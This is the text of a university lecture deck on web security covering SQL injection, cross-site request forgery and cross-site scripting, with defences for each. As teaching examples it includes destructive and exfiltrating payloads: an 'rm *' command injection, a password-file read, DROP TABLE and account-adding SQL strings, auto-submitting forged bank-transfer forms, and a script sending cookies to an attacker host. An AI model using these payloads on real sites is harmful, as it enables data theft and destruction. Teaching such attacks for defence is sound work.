Web Security Part 2

CS642: Computer Security

Professor Ristenpart

http://www.cs.wisc.edu/~rist/

rist at cs dot wisc dot edu

Liberal borrowing from Mitchell, Boneh, Stanford CS 155

University of Wisconsin CS 642
Web security part 2

SQL injection

Cross-site scripting attacks

Cross-site request forgery
Browser security model

Should be safe to visit an attacker website

Should be safe to visit sites simultaneously

Should be safe to delegate content
Data from aggregator and validator of NVD-reported vulnerabilities
Top vulnerabilities

• SQL injection
  – insert malicious SQL commands to read / modify a database

• Cross-site request forgery (CSRF)
  – site A uses credentials for site B to do bad things

• Cross-site scripting (XSS)
  – site A sends victim client a script that abuses honest site B
Warmup: PHP vulnerabilities

PHP command `eval( cmd_str )` executes string `cmd_str` as PHP code

```php
...$in = $_GET['exp'];
eval('$ans = ' . $in . ';');
...
```

http://example.com/calc.php

What can attacker do?

http://example.com/calc.php?exp="11 ; system('rm * ')"

Encode as a URL
Warmup: PHP command injection

```
$email = $_POST["email"]
$subject = $_POST["subject"]
system("mail $email -s $subject < /tmp/joinmynetwork")
```

http://example.com/sendemail.php

What can attacker do?

http://example.com/sendmail.php?

```
email = "aboutogetowned@ownage.com" &
subject= "foo < /usr/passwd; ls"
```

Encode as a URL
Plenty of other common problems with PHP

• File handling
  – example.com/servsideinclude.php?i=file.html

• Global variables
  – example.com/checkcreds.php?
    user="bob ; $auth=1;"

• More… surf the web for examples
  – https://www.owasp.org/index.php/PHP_Top_5
Basic SQL commands:

SELECT Company, Country FROM Customers WHERE Country <> 'USA'

DROP TABLE Customers

more: http://www.w3schools.com/sql/sql_syntax.asp
PHP-based SQL:

```php
$recipient = $_POST['recipient'];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient';
$rs = $db->executeQuery($sql);
```
ASP example

```
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " '
    AND pwd=' " & form("pwd") & " '");

if not ok.EOF
    login success
else  fail;
```

What the developer expected to be sent to SQL:

```
SELECT * FROM Users WHERE user='me' AND pwd='1234'
```
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " ' 
    AND pwd=' " & form("pwd") & " ' " );

if not ok.EOF
    login success
else  fail;

Input:  user="‘ OR 1=1 -- ” (URL encoded)  -- tells SQL to ignore rest of line

SELECT * FROM Users WHERE user=‘ ‘ OR 1=1 -- ’ AND ...

Result: ok.EOF false, so easy login
set ok = execute("SELECT * FROM Users
    WHERE user='" & form("user") & "'
    AND pwd='" & form("pwd") & "'"");

if not ok.EOF
    login success
else fail;

Input:  user="; exec cmdshell
    ‘net user badguy badpw /add’ ”

SELECT * FROM Users WHERE user='"; exec ...

Result: If SQL database running with correct permissions,
then attacker gets account on database server.
(net command is Windows)
set ok = execute( "SELECT * FROM Users
    WHERE user=' " & form("user") & " '
    AND pwd=' " & form("pwd") & " '" );

if not ok.EOF
    login success
else  fail;

Input:  user="’; DROP TABLE Users "  (URL encoded)

    SELECT * FROM Users WHERE user=' ‘; DROP TABLE Users --
    ...

Result: Bye-bye customer information
Hi, this is your son's school. We're having some computer trouble.

Oh, dear — did he break something? In a way—

Did you really name your son Robert); DROP TABLE Students; --?

Oh, yes. Little bobby tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

http://xkcd.com/327/
CardSystems breach 2005

~43 million cards stolen
No encryption of CCN’s

Visa/Mastercard stopped allowing them to process cards.

They got bought out by Pay by Touch in 2005 (probably cheap!)
Pay By Touch shut down in 2008 (woops)

“They used a **SQL injection attack**, where a small snippet of code is inserted onto the database through the front end (browser page). Once inserted onto the server the code ran every four days. It gathered credit card data from the database, put it in a file (zipped to reduce size) and sent it to the hackers via FTP.”
On June 27, 2011, Lady Gaga's website was hacked by a group of US cyber attackers called SwagSec and thousands of her fans’ personal details were stolen from her website. The hackers took a content database dump from www.ladygaga.co.uk and a section of email, first name, and last name records were accessed. [43] According to an Imperva blog about the incident, a SQL injection vulnerability for her website was recently posted on a hacker forum website, where a user revealed the vulnerability to the rest of the hacker community. While no financial records were compromised, the blog implies that Lady Gaga fans are most likely receiving fraudulent email messages offering exclusive Lady Gaga merchandise, but instead contain malware.[44]

Many more examples
Preventing SQL injection

• Don’t build commands yourself
• Parameterized/prepared SQL commands
  – Properly escape commands with \n  – ASP 1.1 example

```csharp
SqlCommand cmd = new SqlCommand(
    "SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection);

cmd.Parameters.Add("@User", Request["user"]);

cmd.Parameters.Add("@Pwd", Request["pwd"]);

cmd.ExecuteReader();
```
Cross-site request forgery (CSRF / XSRF)

1. Establish session
2. Visit server (or iframe)
3. Receive malicious page
4. Send forged request (w/ cookie)
How CSRF works

• User’s browser logged in to bank
• User’s browser visits site containing:

\[
\begin{align*}
&\text{<form name=F action=http://bank.com/BillPay.php>}
\quad \text{<input name=recipient value=badguy>} \quad \ldots \\
&\text{</form>}
\quad \text{<script>} \text{document.F.submit();} \quad \text{</script>}
\end{align*}
\]

• Browser sends Auth cookie to bank. Why?
  – Cookie scoping rules
Form post with cookie

www.attacker.com

GET /blog HTTP/1.1

Victim Browser

POST /transfer HTTP/1.1
Referer: http://www.attacker.com/blog
Recipient=attacker&amount=$100
Cookie: SessionID=523FA4cd2E

User credentials

www.bank.com

<form action=https://www.bank.com/transfer method=POST target=invisibleframe>
<input name=recipient value=attacker>
<input name=amount value=$100>
</form>
<script>document.forms[0].submit();</script>

HTTP/1.1 200 OK
Transfer complete!
Login CSRF

www.attacker.com

GET /blog HTTP/1.1

<form action=https://www.google.com/login method=POST target=invisibleframe>
  <input name=username value=attacker>
  <input name=password value=xyzzy>
</form>

<script>document.forms[0].submit();</script>

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1 Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1 Fa34

www.google.com
CSRF Defenses

• Secret Validation Token

![Rails](https://via.placeholder.com/150)  
```html
<input type=hidden value=23a3af01b>
```

• Referer Validation

![Facebook](https://via.placeholder.com/150)  
```html
Referer: http://www.facebook.com/home.php
```

• Custom HTTP Header

![Google](https://via.placeholder.com/150)  
```html
X-Requested-By: XMLHttpRequest
```
Secret validation tokens

- Include field with large random value or HMAC of a hidden value

- Goal: Attacker can’t forge token, server validates it
  - Why can’t another site read the token value?
    - Same origin policy
Referrer validation

GET /blog HTTP/1.1

POST /login HTTP/1.1
Referer: http://www.attacker.com/blog
username=attacker&password=xyzzy

HTTP/1.1 200 OK
Set-Cookie: SessionID=ZA1Fa34

GET /search?q=llamas HTTP/1.1
Cookie: SessionID=ZA1Fa34

Web History for attacker
Apr 7, 2008
9:20pm Searched for llamas
Referrer validation

- Check referrer:
  - Referrer = bank.com is ok
  - Referrer = attacker.com is NOT ok
  - Referrer = ???
- Lenient policy: allow if not present
- Strict policy: disallow if not present
  - more secure, but kills functionality
Referrer validation

- Referrer’s often stripped, since they may leak information!
  - HTTPS to HTTP referrer is stripped
  - Clients may strip referrers
  - Network stripping of referrers (by organization)
- Bugs in early browsers allowed Referrer spoofing
Custom headers

- Use XMLHttpRequest for all (important) requests
  - API for performing requests from within scripts
- Google Web Toolkit:
  - X-XSRF-Cookie header includes cookie as well
- Server verifies presence of header, otherwise reject
  - Proves referrer had access to cookie

- Doesn’t work across domains
- Requires all calls via XMLHttpRequest with authentication data
  - E.g.: Login CSRF means login happens over XMLHttpRequest
Cross-site scripting (XSS)

- Site A tricks client into running script that abuses honest site B
  - Reflected (non-persistent) attacks
    - (e.g., links on malicious web pages)
  - Stored (persistent) attacks
    - (e.g., Web forms with HTML)
Basic scenario: reflected XSS attack

1. visit web site
2. receive malicious link
3. click on link
4. echo user input
5. send valuable data

Victim client

Attack Server

Victim Server
Example


<HTML>    <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET['term'] ?> :
    
</BODY>   </HTML>

<script>
window.open("http://badguy.com?cookie=",
"" +
document.cookie + ")
</script>

<html>
Results for
<script>
window.open(http://attacker.com?
... document.cookie ...
</script>
</html>
Stored XSS

User Victim → Attack Server
1. Inject malicious script

Attack Server → Server Victim
2. request content
3. receive malicious script
4. steal valuable data
“but most of all, Samy is my hero”

MySpace allows HTML content from users
Stripes many dangerous tags, strips any occurrence of `javascript`

CSS allows embedded javascript

```
<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">`
```

Samy Kamkar used this (with a few more tricks) to build javascript worm that spread through MySpace
- Add message above to profile
- Add worm to profile
- Within 20 hours: one million users run payload
Defending against XSS

• Input validation
  – Never trust client-side data
  – Only allow what you expect
  – Remove/encode special characters (harder than it sounds)

• Output filtering / encoding
  – Remove/encode special characters
  – Allow only “safe” commands

• Client side defenses, HTTPOnly cookies, Taint mode (Perl), Static analysis of server code ...
Top vulnerabilities

• SQL injection
• Cross-site request forgery (CSRF or XSRF)
• Cross-site scripting (XSS)